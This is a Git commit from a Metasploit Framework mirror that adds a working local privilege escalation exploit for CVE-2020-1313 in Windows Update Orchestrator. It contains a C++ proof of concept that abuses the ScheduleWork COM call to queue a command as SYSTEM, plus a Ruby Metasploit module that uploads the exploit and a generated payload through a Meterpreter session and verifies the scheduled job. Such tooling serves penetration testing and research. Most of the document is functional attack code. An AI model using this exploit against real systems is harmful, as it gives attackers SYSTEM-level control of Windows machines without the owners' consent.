1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

First attempt at CVE-2020-1313

This commit is contained in:
bwatters 2020-09-18 15:39:12 -05:00
parent 3c4e528d3b
commit 534e945cd0
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
6 changed files with 483 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30413.136
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2020-1313-exe", "cve-2020-1313-exe\cve-2020-1313-exe.vcxproj", "{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Debug|x64.ActiveCfg = Debug|x64
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Debug|x64.Build.0 = Debug|x64
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Debug|x86.ActiveCfg = Debug|Win32
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Debug|x86.Build.0 = Debug|Win32
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Release|x64.ActiveCfg = Release|x64
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Release|x64.Build.0 = Release|x64
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Release|x86.ActiveCfg = Release|Win32
{8DF6CBFA-8BBD-4D2E-B410-940D230DD7DB}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {5D418B3A-3253-404F-870A-FDB5B628FBEE}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,152 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{8df6cbfa-8bbd-4d2e-b410-940d230dd7db}</ProjectGuid>
<RootNamespace>cve20201313exe</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\..\..\..\..\data\exploits\cve-2020-1313</OutDir>
<TargetName>$(ProjectName).$(Platform)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\..\..\..\..\data\exploits\cve-2020-1313</OutDir>
<TargetName>$(ProjectName).$(Platform)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2020-1313.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2020-1313.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,114 @@
// Research and poc by Imre Rad
#include <iostream>
#include <string>
#include <strsafe.h>
#include <inttypes.h> /* For PRIu64 */
#include <comdef.h>
GUID CLSID_UniversalOrchestrator = { 0x9c695035,0x48d2,0x4229,{0x8b,0x73,0x4c,0x70,0xe7,0x56,0xe5,0x19} };
class __declspec(uuid("c53f3549-0dbf-429a-8297-c812ba00742d")) IUniversalOrchestrator : public IUnknown {
public:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
};
_COM_SMARTPTR_TYPEDEF(IUniversalOrchestrator, __uuidof(IUniversalOrchestrator));
void ThrowOnError(HRESULT hr)
{
if (hr != 0)
{
throw _com_error(hr);
}
}
template <class myType>
myType InitRemoteComStuff(GUID& clsid)
{
myType service;
ThrowOnError(CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));
DWORD authn_svc;
DWORD authz_svc;
LPOLESTR principal_name;
DWORD authn_level;
DWORD imp_level;
RPC_AUTH_IDENTITY_HANDLE identity;
DWORD capabilities;
ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));
return service;
}
class CoInit
{
public:
CoInit() {
CoInitialize(nullptr);
}
~CoInit() {
CoUninitialize();
}
};
void CallUniversalOrchestrator(wchar_t* exe_to_run) {
wchar_t m_id[256];
wchar_t cmd_string[512];
CoInit coinit;
try
{
printf("Obtaining reference to IUniversalOrchestrator\n");
IUniversalOrchestratorPtr service = InitRemoteComStuff<IUniversalOrchestratorPtr>(CLSID_UniversalOrchestrator);
SYSTEMTIME time;
GetSystemTime(&time);
int64_t time_ms = (time.wSecond * 1000) + time.wMilliseconds;
swprintf_s(m_id, L"%" PRId64, time_ms);
swprintf_s(cmd_string, L"/c %s", exe_to_run);
wprintf(L"Scheduling work with id %ws\n", m_id);
ThrowOnError(service->ScheduleWork(
m_id,
const_cast<LPWSTR>(L"c:\\windows\\system32\\cmd.exe"),
//const_cast<LPWSTR>(L"/c \"whoami > c:\\x.txt & whoami /priv >>c:\\x.txt\""), // start command args
const_cast<LPWSTR>(cmd_string), // start command args
//const_cast<LPWSTR>(L"/c \"whoami > c:\\x.txt & whoami /priv >>c:\\x.txt\"")) // suspend command args
const_cast<LPWSTR>(cmd_string)) // start command args
);
/*
ThrowOnError(service->WorkCompleted(const_cast<LPWSTR>(L"p00000000000000000"), 0)); // <- this is how to mark a task being "blocked"
ThrowOnError(service->WorkCompleted(const_cast<LPWSTR>(L"Universal Orchestrator Idle Start"), 1)); // <- this is how to remove a task
*/
printf("Succeeded. You may verify HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.\n");
}
catch (const _com_error& error)
{
printf("%ls\n", error.ErrorMessage());
printf("%08X\n", error.Error());
}
}
int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
{
if (argc != 2) {
wprintf(L"Incorrect parameter list: exe exe_to_run\n");
}
else {
CallUniversalOrchestrator(argv[1]);
return 0;
}
}

View File

@ -0,0 +1,164 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Update Orchestrator unchecked ScheduleWork call',
'Description' => %q(
This exploit uses access to the UniversalOrchestrator ScheduleWork API call
which does not verify the caller's token before scheduling a job to be run
as SYSTEM. You cannot schedule something in a given time, so the payload will
execute as system sometime in the next 24 hours.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Imre Rad', # Original discovery? and PoC (https://github.com/irsl/CVE-2020-1313)
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 12 2019',
'References' =>
[
['CVE', '2020-1313'],
['URL', 'https://github.com/irsl/CVE-2020-1313']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXPLOIT_TIMEOUT',
[true, 'The number of seconds to wait for exploit to finish running', 60]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end
def exploit
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_exe = generate_payload_exe
# Check target
vprint_status("Checking Target")
validate_active_host
validate_target
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
# Upload Exploit
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(exploit_path)
exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
# Upload Payload
vprint_status("Uploading Payload")
ensure_clean_destination(payload_path)
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
# Run Exploit
vprint_status("Running Exploit")
print_status("It may take a moment after the session is established for the exploit to exit safely.")
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
vprint_status("Exploit Output:\n#{output}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
end
vprint_status("Cleaning up #{exploit_path}")
ensure_clean_destination(exploit_path)
# Check registry value
unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, "Failed to find registry scheduler data!")
end
reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, "Failed to find registry scheduler data!") if reg_keys.nil?
found_job = false
reg_keys.each{ |key|
start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", "startArg")
if start_arg['Data'].include? payload_name
found_job = true
queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", "queuedTime")
q_time_i = queued_time['Data'].unpack("L_")[0]
q_time_t = (q_time_i / 10000000) - 11644473600
print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")
end
}
fail_with(Module::Failure::Unknown, "Failed to find registry scheduler data!") unless found_job
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num <= 19041)
fail_with(Failure::NotVulnerable, 'TBD')
end
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end